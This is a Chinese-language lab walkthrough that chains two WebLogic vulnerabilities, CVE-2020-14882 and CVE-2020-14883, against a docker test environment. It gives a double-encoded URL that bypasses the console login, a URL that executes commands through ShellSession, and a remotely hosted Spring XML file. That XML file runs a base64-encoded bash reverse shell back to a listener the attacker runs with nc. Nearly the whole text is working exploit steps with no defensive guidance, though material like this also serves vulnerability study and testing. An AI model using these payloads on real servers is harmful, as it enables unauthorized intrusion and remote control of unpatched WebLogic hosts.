启动环境
docker-compose up -d
http://your-ip:7001/console
访问登录页面
此时我们不知道密码
CVE-2020-14882
首先测试权限绕过漏洞(CVE-2020-14882),访问以下URL,即可未授权访问到管理后台页面:
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal
burp抓包修改
访问后台后,可以发现我们现在是低权限的用户,无法安装应用,所以也无法直接执行任意代码
CVE-2020-14883
此时需要利用到第二个漏洞CVE-2020-14883。这个漏洞的利用方式有两种,一是通过com.tangosol.coherence.mvel2.sh.ShellSession
,二是通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
。
直接访问如下URL,即可利用com.tangosol.coherence.mvel2.sh.ShellSession
执行命令:
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")
这个利用方法只能在Weblogic 12.2.1以上版本利用,因为10.3.6并不存在com.tangosol.coherence.mvel2.sh.ShellSession
类。
com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
是一种更为通杀的方法,最早在CVE-2019-2725被提出,对于所有Weblogic版本均有效。
首先,我们需要构造一个XML文件,并将其保存在Weblogic可以访问到的服务器上,如http://example.com/rce.xml
:
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTI5LzIwMjEgMD4x}|{base64,-d}|{bash,-i}]]></value>
</list>
</constructor-arg>
</bean>
</beans>
反弹shell
搭建web服务将上面的恶意xml代码放到我们的公网服务器上
公网服务器处用nc监听本地shell端口
然后通过如下URL,即可让Weblogic加载这个XML,并执行其中的命令:
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://example.com/rce.xml")
直接通过浏览器访问此url
此时目标服务器就会去访问公网地址的恶意xml并且执行
监听机获取到反弹的回话